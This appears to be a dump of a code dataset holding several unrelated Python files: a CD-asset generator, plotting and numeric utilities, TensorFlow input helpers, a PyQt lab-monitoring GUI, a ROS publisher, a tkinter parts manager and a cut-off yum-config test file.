\"\\\",\\n\" + \\\n \" \\\"\" + string_imagefile.replace(path_covers, '') + \"\\\",\\n\" + \\\n \" \\\"\" + string_samplefile.replace(path_samples, '') + \"\\\",\\n\" + \\\n \" \\\"\" + str(num_quantity) + \"\\\",\\n\" + \\\n \" \\\"\" + str(num_price) + \"\\\",\\n\" + \\\n \");\\n\\n\"\n\n # Create (if necessary) and append SQL\n string_sqlfile = path_sql + \"make_seedy_db.sql\" \n if not os.path.isfile(string_sqlfile):\n string_sqlmasterfile = path_sql + \"template.data\"\n copyfile (string_sqlmasterfile, string_sqlfile)\n\n with open(string_sqlfile, \"a\") as my_file:\n my_file.write(sql_insert)\n\n print(\"SQL Insert: \", \"Appended to SQL script file\")\n print(\" \")\n except:\n print()\n print(\"FATAL ERROR:\", e)\n print(\"Tidying up interim work assets...\")\n\n if not string_imagefile is None:\n if os.path.isfile(string_imagefile):\n os.remove(string_imagefile);\n\n if not string_samplefile is None:\n if os.path.isfile(string_samplefile):\n os.remove(string_samplefile);\n\n print(\"Can not recover. Fix SQL manually. Exiting.\")\n print()\n sys.exit(100)\n return True\n\n# Check the parameters\nif len(sys.argv) < 2:\n print()\n print(\"Genesis - CD Creator\")\n print()\n print(\"Syntax: python genesis.py (CDs | max=500)\")\n print()\n print(\"Creates a CD:\")\n print(\" band, CD title, genre, units @ price,\")\n print(\" cover art, unique lyrics and MP3 sample for title track,\")\n print(\" and the SQL script to create a populated database.\")\n print()\n sys.exit(1)\n\n# Check parameter\nargument = sys.argv[1]\nif not argument.isdigit():\n print (\"Number of CDs is invalid:\",num_records)\n print()\n sys.exit(2)\n\n# Check range\nnum_records = int(float(argument))\nif num_records < 1:\n num_records = 1\n\nif num_records > 500:\n num_records = 500\n\nprint(\"Genesis: Creating\", num_records, \"CD assets...\")\n\n# Make the requested number of records\nfor record in range(0, num_records):\n print(\"Record: \", record + 1, \"of\", num_records)\n retry = 0;\n result = genesis();\n\n while not result:\n retry += 1\n print(\"==>\")\n print(\"Record: \", record +1, \"[Retry\", retry, \"of 3]\")\n result = genesis()\n\n if (retry == 3):\n print(\"Can't recover after 3 retries, terminating.\");\n print()\n sys.exit(101)\n\n# Success\nprint(\"Done!\")\nprint(\"assets/covers/* --> contains the JPG cover art\")\nprint(\"assets/samples/* --> contains the MP3 samples\")\nprint(\"assets/sql/make_seedy_db.sql --> contains the SQL script\")\nprint(\"Note: you can use the clean.sh bash script to reset assets.\")\nprint()\n","sub_path":"scripts/genesis/genesis.py","file_name":"genesis.py","file_ext":"py","file_size_in_byte":11793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"130907830","text":"__author__ = 'hoo'\nimport matplotlib.pyplot as plt\nimport pandas as pd\ndf = pd.read_excel(\"first.xlsx\",\"Sheet1\")\n\nvar = df.groupby('Gender').sum().stack()\ntemp = var.unstack()\ntype(temp)\nx_list = temp['Sales']\nlabel_list = temp.index\nplt.axis(\"equal\")\n\nplt.pie(x_list,labels=label_list,autopct=\"%1.1f%%\")\n# fig = plt.figure()\n# ax = fig.add_subplot(1,1,1)\n# ax.scatter(df['Age'],df['Sales'],s=df['Income'])\nplt.title(\"Pastafarianism expenses\")\nplt.show()","sub_path":"twoFirst01/qtgui4/pydatavisual/visual009.py","file_name":"visual009.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"113466952","text":"#Copyright (C) 2011 by Hazim Gazov\n\n#Permission is hereby granted, free of charge, to any person obtaining a copy\n#of this software and associated documentation files (the \"Software\"), to deal\n#in the Software without restriction, including without limitation the rights\n#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n#copies of the Software, and to permit persons to whom the Software is\n#furnished to do so, subject to the following conditions:\n\n#The above copyright notice and this permission notice shall be included in\n#all copies or substantial portions of the Software.\n\n#THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n#THE SOFTWARE.\n\nfrom math import fabs, floor\n\nOOUINT16MAX = 0.0000152587890625\nU16MAX = 65535\n\n#this may or may not work properly, it's a mystery.\ndef u16_to_f32(ival, lower, upper):\n\tval = ival*OOUINT16MAX\n\tdelta = (upper - lower)\n\tval *= delta\n\tval += lower\n\n\tmax_error = delta*OOUINT16MAX\n\n\t#make sure that zeros come through as zero\n\tif fabs(val) < max_error:\n\t\tval = 0.\n\n\treturn val\n\ndef f32_to_u16(val, lower, upper):\n if val < lower:\n val = lower\n elif val > upper:\n val = upper\n \n #make sure that the value is positive and normalized to <0, 1>\n val -= lower\n val /= (upper - lower)\n\n #return the U16\n return int(floor(val*U16MAX))\n","sub_path":"llutils.py","file_name":"llutils.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"401795112","text":"import enum\n\nimport tensorflow as tf\n\nfrom . import util\nfrom .flag import FLAGS, add_flag, add_required_flag\n\n\nclass Mode(enum.Enum):\n TRAIN = \"train\"\n EVAL = \"eval\"\n\n\ndef _add_file_flag(mode):\n assert isinstance(mode, str)\n\n flag_name = \"{}_file\".format(mode)\n add_required_flag(flag_name,\n help=\"File path of {0} data file(s). \"\n \"A glob is available. (e.g. {0}/*.tfrecords)\"\n .format(mode))\n return flag_name\n\n\ndef def_def_def_input_fn(mode):\n assert isinstance(mode, Mode)\n\n BATCH_SIZE = 64\n\n def def_def_input_fn(batch_inputs=True, prepare_filename_queues=True):\n if batch_inputs:\n add_flag(\"batch_size\", type=int, default=BATCH_SIZE,\n help=\"Mini-batch size\")\n add_flag(\"batch_queue_capacity\", type=int, default=BATCH_SIZE * 16,\n help=\"Batch queue capacity\")\n\n if prepare_filename_queues:\n file_flag = _add_file_flag(mode.value)\n filenames_to_queue = def_filenames_to_queue(mode)\n\n def def_input_fn(user_input_fn):\n @util.func_scope\n def input_fn():\n if prepare_filename_queues:\n x, y = user_input_fn(filenames_to_queue({\n mode: tf.train.match_filenames_once(\n getattr(FLAGS, \"{}_file\".format(mode.value)),\n name=\"{}_filenames\".format(mode.value))\n for mode in Mode}[mode]))\n else:\n x, y = user_input_fn()\n\n if not batch_inputs:\n return x, y\n\n tuple_input = isinstance(x, tf.Tensor)\n\n if not tuple_input:\n duplicate_keys = x.keys() & y.keys()\n if len(duplicate_keys) != 0:\n raise ValueError(\n \"Some keys of x and y are duplicate. ({})\"\n .format(duplicate_keys))\n\n inputs = (tf.train.shuffle_batch if mode == Mode.TRAIN else\n tf.train.batch)(\n [x, y] if tuple_input else {**x, **y},\n batch_size=FLAGS.batch_size,\n capacity=FLAGS.batch_queue_capacity,\n **({\"min_after_dequeue\": FLAGS.batch_queue_capacity // 2}\n if mode == Mode.TRAIN else\n {\"allow_smaller_final_batch\": True}))\n\n restore = lambda x: {key: inputs[key] for key in x.keys()}\n\n return inputs if tuple_input else (restore(x), restore(y))\n\n return input_fn\n\n return def_input_fn\n\n return def_def_input_fn\n\n\ndef_def_train_input_fn = def_def_def_input_fn(Mode.TRAIN)\ndef_def_eval_input_fn = def_def_def_input_fn(Mode.EVAL)\n\n\ndef def_filenames_to_queue(mode):\n assert isinstance(mode, Mode)\n\n add_flag(\"filename_queue_capacity\", type=int, default=32,\n help=\"Capacity of filename queues of {} and {} data\"\n .format(*[mode.value for mode in Mode]))\n\n @util.func_scope\n def filenames_to_queue(filenames):\n return tf.train.string_input_producer(\n filenames,\n num_epochs=(None if mode == Mode.TRAIN else 1),\n shuffle=(mode == Mode.TRAIN),\n capacity=FLAGS.filename_queue_capacity)\n\n return filenames_to_queue\n","sub_path":"qnd/inputs.py","file_name":"inputs.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"165625313","text":"import sys, datetime, os\nimport numpy as np\nimport pandas as pd\nfrom pyqtgraph.Qt import QtCore, QtGui\n\nfrom mainView import UIWindow\nfrom worker import Worker\nfrom customTypes import ThreadType, ScaleSize\nfrom readsettings import make_datafolders, get_datafolderpth\nimport qmsSignal\n\ntry:\n from AIO import AIO_32_0RA_IRC as adc\n import pigpio\nexcept:\n print(\"no pigpio or AIO\")\n TEST = True\n\n# debug \n# def trap_exc_during_debug(*args):\n# print(args)\n\n# sys.excepthook = trap_exc_during_debug\n\n# must inherit QtCore.QObject in order to use 'connect'\nclass MainWidget(QtCore.QObject, UIWindow):\n DEFAULT_TEMPERATURE = 0\n\n sigAbortWorkers = QtCore.pyqtSignal()\n\n def __init__(self, app: QtGui.QApplication):\n super(self.__class__, self).__init__()\n self.__app = app\n self.__setConnects()\n self.registerDock.setTemp(self.DEFAULT_TEMPERATURE,'---')\n\n QtCore.QThread.currentThread().setObjectName(\"main\")\n\n self.__workers_done = 0\n self.__threads = []\n self.__temp = self.DEFAULT_TEMPERATURE\n\n self.__scale = ScaleSize.SMALL\n\n self.plaData = None\n self.tData = None\n self.p1Data = None\n self.p2Data = None\n\n self.graph.removeItem(self.graph.plaPl) # remove Plasma current plot\n \n # Plot line colors\n self.valuePlaPlot = self.graph.plaPl.plot(pen='#6ac600')\n self.valueTPlot = self.graph.tempPl.plot(pen='#5999ff')\n self.valueP1Plot = self.graph.presPl.plot(pen='#6ac600')\n self.valueP2Plot = self.graph.presPl.plot(pen='#c9004d')\n self.graph.tempPl.setXLink(self.graph.presPl)\n \n self.graph.presPl.setLogMode(y=True)\n self.graph.presPl.setYRange(-8,3,0)\n self.graph.tempPl.setYRange(0,320,0)\n\n self.tWorker = None\n self.presCurWorker = None\n\n make_datafolders()\n self.datapth = get_datafolderpth()[0]\n \n self.showMain()\n\n def __changeScale(self):\n \"\"\" select how much data to display \"\"\"\n index = self.controlDock.scaleBtn.selectBtn.currentIndex()\n self.__scale = ScaleSize.getEnum(index)\n\n def __setConnects(self):\n self.controlDock.scaleBtn.selectBtn.currentIndexChanged.connect(self.__changeScale)\n \n self.registerDock.registerBtn.clicked.connect(self.registerTemp)\n self.controlDock.IGmode.currentIndexChanged.connect(self.updateIGmode)\n self.controlDock.IGrange.valueChanged.connect(self.updateIGrange)\n \n self.controlDock.FullNormSW.clicked.connect(self.fulltonormal)\n self.controlDock.OnOffSW.clicked.connect(self.__onoff)\n self.controlDock.quitBtn.clicked.connect(self.__quit)\n self.controlDock.qmsSigSw.clicked.connect(self.__qmsSignal)\n\n self.scaleDock.Pmin.valueChanged.connect(self.__updatePScale)\n self.scaleDock.Pmax.valueChanged.connect(self.__updatePScale)\n self.scaleDock.Tmax.valueChanged.connect(self.__updateTScale)\n self.scaleDock.autoscale.clicked.connect(self.__autoscale)\n \n def __quit(self):\n \"\"\" terminate app \"\"\"\n self.__app.quit() \n \n def __onoff(self):\n \"\"\" prototype method to start and stop worker threads \"\"\"\n if self.controlDock.OnOffSW.isChecked():\n self.startThreads()\n self.controlDock.quitBtn.setEnabled(False)\n else:\n quit_msg = \"Are you sure you want to stop data acquisition?\"\n reply = QtGui.QMessageBox.warning(\n self.MainWindow,\n 'Message',\n quit_msg,\n QtGui.QMessageBox.Yes,\n QtGui.QMessageBox.No\n )\n if reply == QtGui.QMessageBox.Yes: \n self.abortThreads()\n self.controlDock.quitBtn.setEnabled(True)\n else:\n self.controlDock.OnOffSW.setChecked(True) \n\n def __updatePScale(self):\n \"\"\" Updated plot limits for the Pressure viewgraph \"\"\"\n pmin,pmax = [self.scaleDock.Pmin.value(),self.scaleDock.Pmax.value()]\n\n #self.graph.presPl.setLogMode(y=True)\n if pmin < pmax:\n self.graph.presPl.setYRange(pmin,pmax,0)\n\n def __updateTScale(self):\n \"\"\" Updated plot limits for the Temperature viewgraph \"\"\"\n tmax = self.scaleDock.Tmax.value()\n self.graph.tempPl.setYRange(0,tmax,0)\n\n def __autoscale(self):\n \"\"\" Set all plots to autoscale \"\"\"\n self.graph.tempPl.enableAutoRange()\n self.graph.presPl.enableAutoRange()\n\n def fulltonormal(self):\n \"\"\" Change from full screen to normal view on click\"\"\"\n if self.controlDock.FullNormSW.isChecked():\n self.MainWindow.showFullScreen()\n self.controlDock.setStretch(*(10,300)) # minimize control dock width\n else:\n self.MainWindow.showNormal()\n self.controlDock.setStretch(*(10,300)) # minimize control dock width\n\n def __qmsSignal(self):\n \"\"\" qms signal \"\"\"\n try:\n pi = pigpio.pi()\n except:\n print('pigpio is not defined')\n return\n\n if self.controlDock.qmsSigSw.isChecked():\n self.qmsSigThread = qmsSignal.QMSSignal(pi, self.__app, 1)\n self.qmsSigThread.finished.connect(self.qmsSigThFin)\n self.qmsSigThread.start()\n self.presCurWorker.setQmsSignal(1)\n else:\n quit_msg = \"Are you sure you want to stop QMS?\"\n reply = QtGui.QMessageBox.warning(\n self.MainWindow,\n 'Message',\n quit_msg,\n QtGui.QMessageBox.Yes,\n QtGui.QMessageBox.No\n )\n if reply == QtGui.QMessageBox.Yes:\n self.qmsSigThread = qmsSignal.QMSSignal(pi, self.__app, 2)\n self.qmsSigThread.finished.connect(self.qmsSigThFin)\n self.qmsSigThread.start()\n self.presCurWorker.setQmsSignal(0)\n else:\n self.controlDock.qmsSigSw.setChecked(True)\n\n def qmsSigThFin(self):\n self.qmsSigThread.quit()\n self.qmsSigThread.wait()\n \n # MARK: - Threads\n def startThreads(self):\n self.logDock.log.append(\"starting 2 threads\")\n\n self.__workers_done = 0\n\n for thread, worker in self.__threads:\n thread.quit()\n thread.wait()\n\n self.__threads = []\n self.tWorker = Worker()\n self.presCurWorker = Worker()\n\n now = datetime.datetime.now()\n\n print(\"start threads: {}\".format(now))\n self.logDock.progress.append(\"start threads: {}\".format(now))\n\n for index, worker in enumerate([self.tWorker, self.presCurWorker]):\n thread = QtCore.QThread()\n thread.setObjectName(\"thread_{}\".format(index))\n\n if index == 0:\n worker.setWorker(index, self.__app, ThreadType.TEMPERATURE, now)\n worker.setTempWorker(self.__temp)\n elif index == 1:\n worker.setWorker(index, self.__app, ThreadType.PRESSURE1, now)\n\n mode = self.controlDock.IGmode.currentIndex()\n scale = self.controlDock.IGrange.value()\n worker.setPresWorker(mode, scale)\n\n self.setThread(worker, thread, index)\n\n def setThread(self, worker: Worker, thread: QtCore.QThread, index: int):\n self.__threads.append((thread, worker))\n worker.moveToThread(thread)\n\n worker.sigStep.connect(self.onWorkerStep)\n worker.sigDone.connect(self.onWorkerDone)\n worker.sigMsg.connect(self.logDock.log.append)\n self.sigAbortWorkers.connect(worker.abort)\n\n # temperature\n if index == 0:\n df = pd.DataFrame(dtype=float, columns=[\"time\", \"T\", \"PresetT\"])\n df.to_csv(\n os.path.join(\n self.datapth,\n f\"out_{worker.getStartTime():%Y%m%d_%H%M%S}_temp.csv\"\n ),\n index=False,\n )\n # pressures and current\n elif index == 1:\n df = pd.DataFrame(dtype=object, columns=[\"time\", \"P1\", 'P2', 'Ip', 'IGmode', 'IGscale', 'QMS_signal'])\n df.to_csv(\n os.path.join(\n self.datapth,\n f\"out_{worker.getStartTime():%Y%m%d_%H%M%S}.csv\"\n ),\n index=False\n )\n else:\n return\n\n # creates file at the start, next data\n # in the loop is placed in another file\n # TODO: why not to save filename here, and reuse it later?\n\n thread.started.connect(worker.work)\n thread.start()\n\n currentvals = {ThreadType.PLASMA:0,ThreadType.TEMPERATURE:0,ThreadType.PRESSURE1:0,ThreadType.PRESSURE2:0}\n @QtCore.pyqtSlot(np.ndarray, np.ndarray, np.ndarray, ThreadType, datetime.datetime)\n def onWorkerStep(self, rawResult: np.ndarray, calcResult: np.ndarray,\n ave: np.ndarray, ttype: ThreadType, startTime: datetime.datetime):\n \"\"\" collect data on worker step \"\"\"\n # MEMO: ave [[theadtype, average], [], []]\n for l in ave:\n self.currentvals[l[0]] = l[1]\n \"\"\" set Bw text \"\"\"\n temp_now = f\"{self.currentvals[ThreadType.TEMPERATURE]:.0f}\"\n self.registerDock.setTempText(self.__temp,temp_now)\n#dd1451b\n txt = f\"\"\"\n \n \n \n \n Pd = {self.currentvals[ThreadType.PRESSURE1]:.1e}\n \n \n \n \n Pu = {self.currentvals[ThreadType.PRESSURE2]:.1e}\n \n \n \n \n \n \n I = {self.currentvals[ThreadType.PLASMA]:.2f}\n \n \n \n
\n \"\"\"\n self.controlDock.valueBw.setText(txt) \n self.controlDock.gaugeT.update_value(\n self.currentvals[ThreadType.TEMPERATURE]\n )\n\n scale = self.__scale.value\n MAX_SIZE = 20000\n if ttype == ThreadType.TEMPERATURE:\n # get data\n t_data = self.tData\n # set and save data\n self.tData = self.__setStepData(t_data, rawResult, calcResult, ttype, startTime)\n # plot data\n skip = int((self.tData.shape[0]+MAX_SIZE-1)/MAX_SIZE)\n self.valueTPlot.setData(self.tData[scale::skip, 0], self.tData[scale::skip, 1])\n elif ttype == ThreadType.PLASMA or ttype==ThreadType.PRESSURE1 or ttype==ThreadType.PRESSURE2:\n # get data\n pl_data = self.plaData\n p1_data = self.p1Data\n p2_data = self.p2Data\n # set and save data\n self.plaData = self.__setStepData(pl_data, rawResult, calcResult, ThreadType.PLASMA, startTime)\n self.p1Data = self.__setStepData(p1_data, rawResult, calcResult, ThreadType.PRESSURE1, startTime)\n self.p2Data = self.__setStepData(p2_data, rawResult, calcResult, ThreadType.PRESSURE2, startTime)\n # plot data\n skip = int((self.plaData.shape[0]+MAX_SIZE-1)/MAX_SIZE)\n self.valuePlaPlot.setData(self.plaData[scale::skip, 0], self.plaData[scale::skip, 1])\n self.valueP1Plot.setData(self.p1Data[scale::skip, 0], self.p1Data[scale::skip, 1])\n self.valueP2Plot.setData(self.p2Data[scale::skip, 0], self.p2Data[scale::skip, 1])\n else:\n return\n\n def __setStepData(self, data: np.ndarray, rawResult: np.ndarray,\n calcResult: np.ndarray, ttype: ThreadType,\n startTime: datetime.datetime):\n \"\"\" Append new data from Worker to main data arrays \"\"\"\n # TODO: save interval\n self.__save(rawResult, ttype, startTime)\n if data is None:\n data = np.zeros([5, 2])\n data[:, 0] = calcResult[:, 0]\n data[:, 1] = calcResult[:, ttype.getIndex()]\n else:\n steps = calcResult.shape[0]\n calcData = np.zeros([steps, 2])\n calcData[:, 0] = calcResult[:, 0]\n calcData[:, 1] = calcResult[:, ttype.getIndex()]\n data = np.concatenate((data, np.array(calcData)))\n return data\n\n \"\"\" write csv \"\"\"\n def __save(self, data: np.ndarray, ttype: ThreadType, startTime: datetime.datetime):\n if ttype == ThreadType.TEMPERATURE:\n df = pd.DataFrame(data)\n df.to_csv(\n os.path.join(\n self.datapth,\n f\"out_{startTime:%Y%m%d_%H%M%S}_temp.csv\"\n ),\n mode=\"a\",\n header=False,\n index=False\n )\n elif ttype==ThreadType.PLASMA or ttype==ThreadType.PRESSURE1 or ttype==ThreadType.PRESSURE2:\n df = pd.DataFrame(data)\n df.to_csv(\n os.path.join(\n self.datapth,\n f\"out_{startTime:%Y%m%d_%H%M%S}.csv\"\n ),\n mode=\"a\",\n header=False,\n index=False\n )\n\n @QtCore.pyqtSlot(int, ThreadType)\n def onWorkerDone(self, workerId: int, ttype: ThreadType):\n self.logDock.log.append(\"Worker #{} done\".format(workerId))\n self.logDock.progress.append(\"-- Signal {} STOPPED\".format(workerId))\n self.__workers_done += 1\n # reset Data\n if ttype == ThreadType.TEMPERATURE:\n self.tData = None\n elif ttype==ThreadType.PLASMA or ttype==ThreadType.PRESSURE1 or ttype==ThreadType.PRESSURE2:\n self.plaData = None\n self.p1Data = None\n self.p2Data = None\n\n if self.__workers_done == 2:\n # self.abortThreads() # not necessary\n self.logDock.log.append(\"No more plot workers active\")\n\n @QtCore.pyqtSlot()\n def abortThreads(self):\n self.sigAbortWorkers.emit()\n self.logDock.log.append(\"Asking each worker to abort\")\n for thread, worker in self.__threads:\n thread.quit()\n thread.wait()\n self.logDock.log.append(\"All threads exited\")\n\n # MARK: - Methods\n @QtCore.pyqtSlot()\n def registerTemp(self):\n value = self.registerDock.temperatureSB.value()\n self.__temp = value\n temp_now = self.currentvals[ThreadType.TEMPERATURE]\n self.registerDock.setTemp(self.__temp,f'{temp_now:.0f}')\n if self.tWorker is not None:\n self.tWorker.setPresetTemp(self.__temp)\n\n @QtCore.pyqtSlot()\n def updateIGmode(self):\n \"\"\" Update mode of the IG controller:\n Torr and linear\n or\n Pa and log\n \"\"\"\n value = self.controlDock.IGmode.currentIndex()\n if self.tWorker is not None:\n self.presCurWorker.setIGmode(value)\n\n @QtCore.pyqtSlot()\n def updateIGrange(self):\n \"\"\" Update range of the IG controller:\n 10^{-3} - 10^{-8} multiplier when in linear mode (Torr)\n \"\"\"\n value = self.controlDock.IGrange.value()\n if self.tWorker is not None:\n self.presCurWorker.setIGrange(value)\n\nif __name__ == \"__main__\":\n app = QtGui.QApplication([])\n widget = MainWidget(app)\n\n sys.exit(app.exec_())\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"88180793","text":"import rospy\nfrom std_msgs.msg import String\nrospy.init_node('fetch_scratch_node',anonymous=True)\nright_arm = rospy.Publisher('/ein/right/forth_commands', String, queue_size=10)\nleft_arm = rospy.Publisher('/ein/left/forth_commands', String, queue_size=10)\nrate = rospy.Rate(0.5)\n\nif not rospy.is_shutdown():\n\tloc = [0.9,0,0]\n\theight_offset = 0.3\n\tmsg = str(loc[0]) + \" \" + str(loc[1]) + \" \" + str(loc[2]+height_offset) + \" 1 0 0 0 moveToEEPose\"\n\tright_arm.publish(msg)\nelse:\n\tprint(\"rospy is is shutdown\")","sub_path":"scratch_node.py","file_name":"scratch_node.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"94312353","text":"from tkinter import *\nfrom tkinter import messagebox\nfrom partsdb import Database\n\ndb = Database('store.db')\n\nroot = Tk()\nroot.title(\"Part Manager\")\nroot.geometry( \"750x350\" )\n\ndef populate_list():\n parts_list.delete(0,END)\n for row in db.fetch():\n parts_list.insert(END,row)\n\n\ndef add_item():\n if part_text.get() == '' or customer_text.get() == '' or retailer_text.get() == '' or price_text.get() == '':\n messagebox.showerror(\"Required Fields\",\"Please include all fields\")\n return\n\n db.insert(part_text.get(),customer_text.get(),retailer_text.get(),price_text.get())\n parts_list.delete(0,END)\n parts_list.insert(END,(part_text.get(),customer_text.get(),retailer_text.get(),price_text.get()))\n clear_text()\n populate_list()\n\n\ndef select_item(event):\n try:\n global selected_item\n index = parts_list.curselection()[0]\n selected_item = parts_list.get(index)\n part_entry.delete(0,END)\n part_entry.insert(END,selected_item[1])\n customer_entry.delete(0,END)\n customer_entry.insert(END,selected_item[2])\n retailer_entry.delete(0,END)\n retailer_entry.insert(END,selected_item[3])\n price_entry.delete(0,END)\n price_entry.insert(END,selected_item[4])\n except IndexError:\n pass\n\n\n\n\ndef remove_item():\n db.remove(selected_item[0])\n clear_text()\n populate_list()\n\n\ndef update_item():\n db.update(selected_item[0],part_text.get(),customer_text.get(),retailer_text.get(),price_text.get())\n populate_list()\n \n\ndef clear_text():\n part_entry.delete(0,END)\n customer_entry.delete(0,END)\n retailer_entry.delete(0,END)\n price_entry.delete(0,END)\n\n\npart_text = StringVar()\npart_label = Label(root,text=\"Part Name\",font=('bold',14),pady=20)\npart_label.grid(row=0,column=0,sticky=W)\npart_entry = Entry(root,textvariable=part_text)\npart_entry.grid(row=0,column=1)\n\ncustomer_text = StringVar()\ncustomer_label = Label(root,text=\"Customer\",font=('bold',14))\ncustomer_label.grid(row=0,column=2,sticky=W)\ncustomer_entry = Entry(root,textvariable=customer_text)\ncustomer_entry.grid(row=0,column=3)\n\nretailer_text = StringVar()\nretailer_label = Label(root,text=\"Retailer\",font=('bold',14))\nretailer_label.grid(row=1,column=0,sticky=W)\nretailer_entry = Entry(root,textvariable=retailer_text)\nretailer_entry.grid(row=1,column=1)\n\nprice_text = StringVar()\nprice_label = Label(root,text=\"Price\",font=('bold',14))\nprice_label.grid(row=1,column=2,sticky=W)\nprice_entry = Entry(root,textvariable=price_text)\nprice_entry.grid(row=1,column=3)\n\nparts_list = Listbox(root,height=8,width=60,border=0)\nparts_list.grid(row=3,column=0,columnspan=3,rowspan=6,pady=20,padx=20)\n\nscrollbar = Scrollbar(root)\nscrollbar.grid(row=3,column=3)\n\nparts_list.configure(yscrollcommand=scrollbar.set)\nscrollbar.configure(command=parts_list.yview)\n\nparts_list.bind('<>',select_item)\n \nadd_btn = Button(root,text=\"Add Part\",width=12,command=add_item,bg=\"dodgerblue\")\nadd_btn.grid(row=2,column=0,pady=20)\n\nremove_btn = Button(root,text=\"Remove Part\",width=12,command=remove_item,bg=\"dodgerblue\")\nremove_btn.grid(row=2,column=1)\n\nupdate_btn = Button(root,text=\"Update Part\",width=12,command=update_item,bg=\"dodgerblue\")\nupdate_btn.grid(row=2,column=2)\n\nclear_btn = Button(root,text=\"Clear Entry\",width=12,command=clear_text,bg=\"dodgerblue\")\nclear_btn.grid(row=2,column=3)\n\npopulate_list()\n\n \nroot.mainloop()","sub_path":"part_manager.py","file_name":"part_manager.py","file_ext":"py","file_size_in_byte":3421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"525243962","text":"from classes.pizza import Pizza\n\npizza_done = False\n\nmy_pizza = Pizza(\"Mike's Pizza\")\n\nwhile not pizza_done:\n done_answer = input(\"Are you done with your pizza? (Y/N) \")\n if done_answer.lower() == \"n\":\n pizza_action = input(\"Do you want to add or remove a topping from your pizza? (A/R) \")\n if pizza_action.lower() == \"a\":\n pizza_topping = input(\"Please type what topping you'd want on your pizza: \")\n my_pizza.addTopping(pizza_topping)\n else:\n pizza_topping = input(\"Please type what topping you want to remove from your pizza: \")\n my_pizza.removeTopping(pizza_topping)\n else:\n pizza_done = True\n\nprint(\"Here are the toppings you requested: \")\nprint(my_pizza.toppings)","sub_path":"week4-5assignments/week4-5classes/test_cases.py","file_name":"test_cases.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"146124202","text":"# Copyright 2021 Red Hat, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport ddt\nimport sys\nimport unittest\nfrom unittest import mock\n\nfrom . import fakes\nfrom . import mock_modules # noqa: F401\nimport tripleo_repos.yum_config.__main__ as main\nimport tripleo_repos.yum_config.yum_config as yum_cfg\nimport tripleo_repos.yum_config.dnf_manager as dnf_mgr\n\n\nclass TestTripleoYumConfigBase(unittest.TestCase):\n \"\"\"Base test class for tripleo yum config module.\"\"\"\n\n def mock_object(self, obj, attr, new_attr=None):\n if not new_attr:\n new_attr = mock.Mock()\n\n patcher = mock.patch.object(obj, attr, new_attr)\n patcher.start()\n # stop patcher at the end of the test\n self.addCleanup(patcher.stop)\n\n return new_attr\n\n\n@ddt.ddt\nclass TestTripleoYumConfigMain(TestTripleoYumConfigBase):\n \"\"\"Test class for main method operations.\"\"\"\n\n def test_main_repo(self):\n sys.argv[1:] = ['repo', 'fake_repo', '--enable',\n '--set-opts', 'key1=value1', 'key2=value2',\n '--config-file-path', fakes.FAKE_FILE_PATH]\n yum_repo_obj = mock.Mock()\n mock_update_section = self.mock_object(yum_repo_obj, 'update_section')\n mock_yum_repo_obj = self.mock_object(\n yum_cfg, 'TripleOYumRepoConfig',\n mock.Mock(return_value=yum_repo_obj))\n\n main.main()\n expected_dict = {'key1': 'value1', 'key2': 'value2'}\n\n mock_yum_repo_obj.assert_called_once_with(\n file_path=fakes.FAKE_FILE_PATH, dir_path=None)\n mock_update_section.assert_called_once_with(\n 'fake_repo', expected_dict, enable=True)\n\n @ddt.data('enable', 'disable', 'reset', 'install', 'remove')\n def test_main_module(self, operation):\n sys.argv[1:] = ['module', operation, 'fake_module', '--stream',\n 'fake_stream', '--profile', 'fake_profile']\n\n mock_dnf_mod = mock.Mock()\n mock_op = self.mock_object(mock_dnf_mod, operation + '_module')\n mock_dnf_mod_obj = self.mock_object(\n dnf_mgr, 'DnfModuleManager',\n mock.Mock(return_value=mock_dnf_mod))\n\n main.main()\n\n mock_dnf_mod_obj.assert_called_once()\n mock_op.assert_called_once_with(\n 'fake_module', stream='fake_stream', profile='fake_profile')\n\n def test_main_global_conf(self):\n sys.argv[1:] = ['global', '--set-opts', 'key1=value1', 'key2=value2']\n yum_global_obj = mock.Mock()\n mock_update_section = self.mock_object(\n yum_global_obj, 'update_section')\n mock_yum_global_obj = self.mock_object(\n yum_cfg, 'TripleOYumGlobalConfig',\n mock.Mock(return_value=yum_global_obj))\n\n main.main()\n expected_dict = {'key1': 'value1', 'key2': 'value2'}\n\n mock_yum_global_obj.assert_called_once_with(file_path=None)\n mock_update_section.assert_called_once_with('main', expected_dict)\n\n def 